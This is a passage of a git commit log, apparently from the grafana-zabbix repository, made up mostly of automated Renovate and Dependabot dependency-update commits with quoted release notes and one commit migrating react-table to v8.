♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi42NC4xIiwidXBkYXRlZEluVmVyIjoiNDIuNjQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLW1pbm9yIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2025-12-31 11:21:16 +00:00
dependabot[bot]
3d631aedd7 Bump glob from 10.4.5 to 11.1.0 (#2153)
Bumps [glob](https://github.com/isaacs/node-glob) from 10.4.5 to 11.1.0.
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/isaacs/node-glob/blob/main/changelog.md">glob's
changelog</a>.</em></p>
<blockquote>
<h1>changeglob</h1>
<h2>13</h2>
<ul>
<li>Move the CLI program out to a separate package,
<code>glob-bin</code>.
Install that if you'd like to continue using glob from the
command line.</li>
</ul>
<h2>12</h2>
<ul>
<li>Remove the unsafe <code>--shell</code> option. The
<code>--shell</code> option is now
ONLY supported on known shells where the behavior can be
implemented safely.</li>
</ul>
<h2>11.1</h2>
<p><a
href="https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2">GHSA-5j98-mcp5-4vw2</a></p>
<ul>
<li>Add the <code>--shell</code> option for the command line, with a
warning
that this is unsafe. (It will be removed in v12.)</li>
<li>Add the <code>--cmd-arg</code>/<code>-g</code> as a way to
<em>safely</em> add positional
arguments to the command provided to the CLI tool.</li>
<li>Detect commands with space or quote characters on known shells,
and pass positional arguments to them safely, avoiding
<code>shell:true</code> execution.</li>
</ul>
<h2>11.0</h2>
<ul>
<li>Drop support for node before v20</li>
</ul>
<h2>10.4</h2>
<ul>
<li>Add <code>includeChildMatches: false</code> option</li>
<li>Export the <code>Ignore</code> class</li>
</ul>
<h2>10.3</h2>
<ul>
<li>Add <code>--default -p</code> flag to provide a default pattern</li>
<li>exclude symbolic links to directories when <code>follow</code> and
<code>nodir</code>
are both set</li>
</ul>
<h2>10.2</h2>
<ul>
<li>Add glob cli</li>
</ul>
<h2>10.1</h2>
<ul>
<li>Return <code>'.'</code> instead of the empty string <code>''</code>
when the current
working directory is returned as a match.</li>
<li>Add <code>posix: true</code> option to return <code>/</code>
delimited paths, even on</li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="2551fb5144"><code>2551fb5</code></a>
11.1.0</li>
<li><a
href="47473c046b"><code>47473c0</code></a>
bin: Do not expose filenames to shell expansion</li>
<li><a
href="bc33fe1c6a"><code>bc33fe1</code></a>
skip tilde test on systems that lack tilde expansion</li>
<li><a
href="59bf9ca211"><code>59bf9ca</code></a>
fix notes</li>
<li><a
href="dde4fa66c8"><code>dde4fa6</code></a>
docs(README): add #anchor and improve <code>note</code>s</li>
<li><a
href="0559b0ed13"><code>0559b0e</code></a>
docs: add better links to path-scurry docs</li>
<li><a
href="c9773c249b"><code>c9773c2</code></a>
fix: correct typos in <code>README.md</code></li>
<li><a
href="13e68eadbc"><code>13e68ea</code></a>
Fix punctuation in traversal function documentation</li>
<li><a
href="1527e2b810"><code>1527e2b</code></a>
fix repo url</li>
<li><a
href="7e190e8776"><code>7e190e8</code></a>
fix typo <code>maths</code> → <code>paths</code></li>
<li>Additional commits viewable in <a
href="https://github.com/isaacs/node-glob/compare/v10.4.5...v11.1.0">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=glob&package-manager=npm_and_yarn&previous-version=10.4.5&new-version=11.1.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/grafana/grafana-zabbix/network/alerts).

</details>

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Jocelyn Collado-Kuri <jcolladokuri@icloud.com>
2025-12-29 12:39:45 -08:00
renovate-sh-app[bot]
4eece4b75e chore(deps): update dependency terser-webpack-plugin to ^5.3.14 (#2154)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[terser-webpack-plugin](https://redirect.github.com/webpack/terser-webpack-plugin)
| [`^5.3.10` →
`^5.3.14`](https://renovatebot.com/diffs/npm/terser-webpack-plugin/5.3.14/5.3.16)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/terser-webpack-plugin/5.3.16?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/terser-webpack-plugin/5.3.14/5.3.16?slim=true)
|

---

### Release Notes

<details>
<summary>webpack/terser-webpack-plugin (terser-webpack-plugin)</summary>

###
[`v5.3.16`](https://redirect.github.com/webpack/terser-webpack-plugin/blob/HEAD/CHANGELOG.md#5316-2025-12-11)

[Compare
Source](https://redirect.github.com/webpack/terser-webpack-plugin/compare/v5.3.15...v5.3.16)

###
[`v5.3.15`](https://redirect.github.com/webpack/terser-webpack-plugin/blob/HEAD/CHANGELOG.md#5315-2025-12-05)

[Compare
Source](https://redirect.github.com/webpack/terser-webpack-plugin/compare/v5.3.14...v5.3.15)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi42NC4xIiwidXBkYXRlZEluVmVyIjoiNDIuNjQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2025-12-26 07:37:26 -08:00
renovate-sh-app[bot]
02a323b142 chore(deps): update dependency semver to ^7.7.2 (#2147)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [semver](https://redirect.github.com/npm/node-semver) | [`^7.6.3` →
`^7.7.2`](https://renovatebot.com/diffs/npm/semver/7.7.2/7.7.3) |
![age](https://developer.mend.io/api/mc/badges/age/npm/semver/7.7.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/semver/7.7.2/7.7.3?slim=true)
|

---

### Release Notes

<details>
<summary>npm/node-semver (semver)</summary>

###
[`v7.7.3`](https://redirect.github.com/npm/node-semver/blob/HEAD/CHANGELOG.md#773-2025-10-06)

[Compare
Source](https://redirect.github.com/npm/node-semver/compare/v7.7.2...v7.7.3)

##### Bug Fixes

-
[`e37e0ca`](e37e0ca0b5)
[#&#8203;813](https://redirect.github.com/npm/node-semver/pull/813)
faster paths for compare
([#&#8203;813](https://redirect.github.com/npm/node-semver/issues/813))
([@&#8203;H4ad](https://redirect.github.com/H4ad))
-
[`2471d75`](2471d7543e)
[#&#8203;811](https://redirect.github.com/npm/node-semver/pull/811)
x-range build metadata support (i529015)

##### Chores

-
[`8f05c87`](8f05c87f56)
[#&#8203;807](https://redirect.github.com/npm/node-semver/pull/807) bump
[@&#8203;npmcli/template-oss](https://redirect.github.com/npmcli/template-oss)
from 4.25.0 to 4.25.1
([#&#8203;807](https://redirect.github.com/npm/node-semver/issues/807))
([@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot],
[@&#8203;owlstronaut](https://redirect.github.com/owlstronaut))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi4zNS4xIiwidXBkYXRlZEluVmVyIjoiNDIuNjQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2025-12-26 07:36:10 -08:00
dependabot[bot]
0c1f1203ea Bump js-yaml from 3.14.1 to 3.14.2 (#2148)
Bumps [js-yaml](https://github.com/nodeca/js-yaml) from 3.14.1 to
3.14.2.
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/nodeca/js-yaml/blob/master/CHANGELOG.md">js-yaml's
changelog</a>.</em></p>
<blockquote>
<h2>[3.14.2] - 2025-11-15</h2>
<h3>Security</h3>
<ul>
<li>Backported v4.1.1 fix to v3</li>
</ul>
<h2>[4.1.1] - 2025-11-12</h2>
<h3>Security</h3>
<ul>
<li>Fix prototype pollution issue in yaml merge (&lt;&lt;)
operator.</li>
</ul>
<h2>[4.1.0] - 2021-04-15</h2>
<h3>Added</h3>
<ul>
<li>Types are now exported as <code>yaml.types.XXX</code>.</li>
<li>Every type now has <code>options</code> property with original
arguments kept as they were
(see <code>yaml.types.int.options</code> as an example).</li>
</ul>
<h3>Changed</h3>
<ul>
<li><code>Schema.extend()</code> now keeps old type order in case of
conflicts
(e.g. Schema.extend([ a, b, c ]).extend([ b, a, d ]) is now ordered as
<code>abcd</code> instead of <code>cbad</code>).</li>
</ul>
<h2>[4.0.0] - 2021-01-03</h2>
<h3>Changed</h3>
<ul>
<li>Check <a
href="https://github.com/nodeca/js-yaml/blob/master/migrate_v3_to_v4.md">migration
guide</a> to see details for all breaking changes.</li>
<li>Breaking: &quot;unsafe&quot; tags <code>!!js/function</code>,
<code>!!js/regexp</code>, <code>!!js/undefined</code> are
moved to <a
href="https://github.com/nodeca/js-yaml-js-types">js-yaml-js-types</a>
package.</li>
<li>Breaking: removed <code>safe*</code> functions. Use
<code>load</code>, <code>loadAll</code>, <code>dump</code>
instead which are all now safe by default.</li>
<li><code>yaml.DEFAULT_SAFE_SCHEMA</code> and
<code>yaml.DEFAULT_FULL_SCHEMA</code> are removed, use
<code>yaml.DEFAULT_SCHEMA</code> instead.</li>
<li><code>yaml.Schema.create(schema, tags)</code> is removed, use
<code>schema.extend(tags)</code> instead.</li>
<li><code>!!binary</code> now always mapped to <code>Uint8Array</code>
on load.</li>
<li>Reduced nesting of <code>/lib</code> folder.</li>
<li>Parse numbers according to YAML 1.2 instead of YAML 1.1
(<code>01234</code> is now decimal,
<code>0o1234</code> is octal, <code>1:23</code> is parsed as string
instead of base60).</li>
<li><code>dump()</code> no longer quotes <code>:</code>, <code>[</code>,
<code>]</code>, <code>(</code>, <code>)</code> except when necessary, <a
href="https://redirect.github.com/nodeca/js-yaml/issues/470">#470</a>,
<a
href="https://redirect.github.com/nodeca/js-yaml/issues/557">#557</a>.</li>
<li>Line and column in exceptions are now formatted as
<code>(X:Y)</code> instead of
<code>at line X, column Y</code> (also present in compact format), <a
href="https://redirect.github.com/nodeca/js-yaml/issues/332">#332</a>.</li>
<li>Code snippet created in exceptions now contains multiple lines with
line numbers.</li>
<li><code>dump()</code> now serializes <code>undefined</code> as
<code>null</code> in collections and removes keys with
<code>undefined</code> in mappings, <a
href="https://redirect.github.com/nodeca/js-yaml/issues/571">#571</a>.</li>
<li><code>dump()</code> with <code>skipInvalid=true</code> now
serializes invalid items in collections as null.</li>
<li>Custom tags starting with <code>!</code> are now dumped as
<code>!tag</code> instead of <code>!&lt;!tag&gt;</code>, <a
href="https://redirect.github.com/nodeca/js-yaml/issues/576">#576</a>.</li>
<li>Custom tags starting with <code>tag:yaml.org,2002:</code> are now
shorthanded using <code>!!</code>, <a
href="https://redirect.github.com/nodeca/js-yaml/issues/258">#258</a>.</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added <code>.mjs</code> (es modules) support.</li>
<li>Added <code>quotingType</code> and <code>forceQuotes</code> options
for dumper to configure
string literal style, <a
href="https://redirect.github.com/nodeca/js-yaml/issues/290">#290</a>,
<a
href="https://redirect.github.com/nodeca/js-yaml/issues/529">#529</a>.</li>
<li>Added <code>styles: { '!!null': 'empty' }</code> option for dumper
(serializes <code>{ foo: null }</code> as &quot;<code>foo:
</code>&quot;), <a
href="https://redirect.github.com/nodeca/js-yaml/issues/570">#570</a>.</li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="9963d366df"><code>9963d36</code></a>
3.14.2 released</li>
<li><a
href="10d3c8e70a"><code>10d3c8e</code></a>
dist rebuild</li>
<li><a
href="5278870a17"><code>5278870</code></a>
fix prototype pollution in merge (&lt;&lt;) (<a
href="https://redirect.github.com/nodeca/js-yaml/issues/731">#731</a>)</li>
<li>See full diff in <a
href="https://github.com/nodeca/js-yaml/compare/3.14.1...3.14.2">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=js-yaml&package-manager=npm_and_yarn&previous-version=3.14.1&new-version=3.14.2)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/grafana/grafana-zabbix/network/alerts).

</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-24 07:40:01 -08:00
renovate-sh-app[bot]
b7a953b178 chore(deps): update dependency style-loader to v3.3.4 (#2151)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[style-loader](https://redirect.github.com/webpack-contrib/style-loader)
| [`3.3.3` →
`3.3.4`](https://renovatebot.com/diffs/npm/style-loader/3.3.3/3.3.4) |
![age](https://developer.mend.io/api/mc/badges/age/npm/style-loader/3.3.4?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/style-loader/3.3.3/3.3.4?slim=true)
|

---

### Release Notes

<details>
<summary>webpack-contrib/style-loader (style-loader)</summary>

###
[`v3.3.4`](https://redirect.github.com/webpack/style-loader/releases/tag/v3.3.4)

[Compare
Source](https://redirect.github.com/webpack-contrib/style-loader/compare/v3.3.3...v3.3.4)

#####
[3.3.4](https://redirect.github.com/webpack-contrib/style-loader/compare/v3.3.3...v3.3.4)
(2024-01-09)

##### Bug Fixes

- css experiments logic
([c12e70b](c12e70bc85))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi4zNS4xIiwidXBkYXRlZEluVmVyIjoiNDIuNjQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2025-12-24 07:36:56 -08:00
renovate-sh-app[bot]
c02767b1c3 chore(deps): update dependency sass-loader to v13.3.3 (#2146)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [sass-loader](https://redirect.github.com/webpack/sass-loader) |
[`13.3.1` ->
`13.3.3`](https://renovatebot.com/diffs/npm/sass-loader/13.3.1/13.3.3) |
![age](https://developer.mend.io/api/mc/badges/age/npm/sass-loader/13.3.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/sass-loader/13.3.1/13.3.3?slim=true)
|

---

### Release Notes

<details>
<summary>webpack/sass-loader (sass-loader)</summary>

###
[`v13.3.3`](https://redirect.github.com/webpack/sass-loader/blob/HEAD/CHANGELOG.md#1400-2024-01-15)

[Compare
Source](https://redirect.github.com/webpack/sass-loader/compare/v13.3.2...v13.3.3)

##### ⚠ BREAKING CHANGES

- removed `fibers` support
- minimum supported Node.js version is `18.12.0`
([627f55d](627f55d750))

#####
[13.3.3](https://redirect.github.com/webpack-contrib/sass-loader/compare/v13.3.2...v13.3.3)
(2023-12-25)

##### Bug Fixes

- sass embedded importer detection
([e34f938](e34f938750))
- warning output
([#&#8203;1173](https://redirect.github.com/webpack-contrib/sass-loader/issues/1173))
([0084b93](0084b93a9e))

#####
[13.3.2](https://redirect.github.com/webpack-contrib/sass-loader/compare/v13.3.1...v13.3.2)
(2023-06-09)

##### Bug Fixes

- **perf:** avoid using `klona` for `sass` options
([#&#8203;1145](https://redirect.github.com/webpack-contrib/sass-loader/issues/1145))
([9e87b6b](9e87b6b103))

#####
[13.3.1](https://redirect.github.com/webpack-contrib/sass-loader/compare/v13.3.0...v13.3.1)
(2023-05-28)

##### Bug Fixes

- error handling better
([#&#8203;1141](https://redirect.github.com/webpack-contrib/sass-loader/issues/1141))
([1f99474](1f9947441a))
- warnings and errors serialization
([#&#8203;1142](https://redirect.github.com/webpack-contrib/sass-loader/issues/1142))
([ed6f313](ed6f3136f0))

###
[`v13.3.2`](https://redirect.github.com/webpack/sass-loader/blob/HEAD/CHANGELOG.md#1400-2024-01-15)

[Compare
Source](https://redirect.github.com/webpack/sass-loader/compare/v13.3.1...v13.3.2)

##### ⚠ BREAKING CHANGES

- removed `fibers` support
- minimum supported Node.js version is `18.12.0`
([627f55d](627f55d750))

#####
[13.3.3](https://redirect.github.com/webpack-contrib/sass-loader/compare/v13.3.2...v13.3.3)
(2023-12-25)

##### Bug Fixes

- sass embedded importer detection
([e34f938](e34f938750))
- warning output
([#&#8203;1173](https://redirect.github.com/webpack-contrib/sass-loader/issues/1173))
([0084b93](0084b93a9e))

#####
[13.3.2](https://redirect.github.com/webpack-contrib/sass-loader/compare/v13.3.1...v13.3.2)
(2023-06-09)

##### Bug Fixes

- **perf:** avoid using `klona` for `sass` options
([#&#8203;1145](https://redirect.github.com/webpack-contrib/sass-loader/issues/1145))
([9e87b6b](9e87b6b103))

#####
[13.3.1](https://redirect.github.com/webpack-contrib/sass-loader/compare/v13.3.0...v13.3.1)
(2023-05-28)

##### Bug Fixes

- error handling better
([#&#8203;1141](https://redirect.github.com/webpack-contrib/sass-loader/issues/1141))
([1f99474](1f9947441a))
- warnings and errors serialization
([#&#8203;1142](https://redirect.github.com/webpack-contrib/sass-loader/issues/1142))
([ed6f313](ed6f3136f0))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi4zNS4xIiwidXBkYXRlZEluVmVyIjoiNDIuMzUuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2025-12-19 12:21:29 +01:00
ismail simsek
cc492b916d Update react-table to v8 (#2131)
Updating react-table to v8. 
- Migrating the existing table to v8
- Preserving the visuals and logic

What's done?
- Cell components are moved under `Cells` folder
- Old styles for react-table-6 is removed.
- Old types are removed
- All logic was preserved
- Some cell components are removed for simplicity


Fixes: https://github.com/grafana/oss-big-tent-squad/issues/125
2025-12-10 19:25:04 +01:00
renovate-sh-app[bot]
b11f2b1902 chore(deps): update dependency @types/node to ^20.19.16 (#2105)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
|
[@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node))
| [`^20.8.7` ->
`^20.19.16`](https://renovatebot.com/diffs/npm/@types%2fnode/20.19.16/20.19.25)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.19.25?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.19.16/20.19.25?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzguNSIsInVwZGF0ZWRJblZlciI6IjQxLjEzOC41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJ1cGRhdGUtcGF0Y2giXX0=-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2025-11-28 13:31:04 +01:00
renovate-sh-app[bot]
f858259eaf chore(deps): update dependency @babel/core to ^7.28.4 (#2126)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [@babel/core](https://babel.dev/docs/en/next/babel-core)
([source](https://redirect.github.com/babel/babel/tree/HEAD/packages/babel-core))
| [`^7.21.4` ->
`^7.28.4`](https://renovatebot.com/diffs/npm/@babel%2fcore/7.28.4/7.28.5)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@babel%2fcore/7.28.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@babel%2fcore/7.28.4/7.28.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>babel/babel (@&#8203;babel/core)</summary>

###
[`v7.28.5`](https://redirect.github.com/babel/babel/blob/HEAD/CHANGELOG.md#v7285-2025-10-23)

[Compare
Source](https://redirect.github.com/babel/babel/compare/v7.28.4...v7.28.5)

##### 👓 Spec Compliance

- `babel-parser`
- [#&#8203;17446](https://redirect.github.com/babel/babel/pull/17446)
Allow `Runtime Errors for Function Call Assignment Targets`
([@&#8203;liuxingbaoyu](https://redirect.github.com/liuxingbaoyu))
- `babel-helper-validator-identifier`
- [#&#8203;17501](https://redirect.github.com/babel/babel/pull/17501)
fix: update identifier to unicode 17
([@&#8203;fisker](https://redirect.github.com/fisker))

##### 🐛 Bug Fix

- `babel-plugin-proposal-destructuring-private`
- [#&#8203;17534](https://redirect.github.com/babel/babel/pull/17534)
Allow mixing private destructuring and rest
([@&#8203;CO0Ki3](https://redirect.github.com/CO0Ki3))
- `babel-parser`
- [#&#8203;17521](https://redirect.github.com/babel/babel/pull/17521)
Improve `@babel/parser` error typing
([@&#8203;JLHwung](https://redirect.github.com/JLHwung))
- [#&#8203;17491](https://redirect.github.com/babel/babel/pull/17491)
fix: improve ts-only declaration parsing
([@&#8203;JLHwung](https://redirect.github.com/JLHwung))
- `babel-plugin-proposal-discard-binding`,
`babel-plugin-transform-destructuring`
- [#&#8203;17519](https://redirect.github.com/babel/babel/pull/17519)
fix: `rest` correctly returns plain array
([@&#8203;liuxingbaoyu](https://redirect.github.com/liuxingbaoyu))
- `babel-helper-create-class-features-plugin`,
`babel-helper-member-expression-to-functions`,
`babel-plugin-transform-block-scoping`,
`babel-plugin-transform-optional-chaining`, `babel-traverse`,
`babel-types`
- [#&#8203;17503](https://redirect.github.com/babel/babel/pull/17503)
Fix `JSXIdentifier` handling in `isReferencedIdentifier`
([@&#8203;JLHwung](https://redirect.github.com/JLHwung))
- `babel-traverse`
- [#&#8203;17504](https://redirect.github.com/babel/babel/pull/17504)
fix: ensure scope.push register in anonymous fn
([@&#8203;JLHwung](https://redirect.github.com/JLHwung))

##### 🏠 Internal

- `babel-types`
- [#&#8203;17494](https://redirect.github.com/babel/babel/pull/17494)
Type checking babel-types scripts
([@&#8203;JLHwung](https://redirect.github.com/JLHwung))

##### :running\_woman: Performance

- `babel-core`
- [#&#8203;17490](https://redirect.github.com/babel/babel/pull/17490)
Faster finding of locations in `buildCodeFrameError`
([@&#8203;liuxingbaoyu](https://redirect.github.com/liuxingbaoyu))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

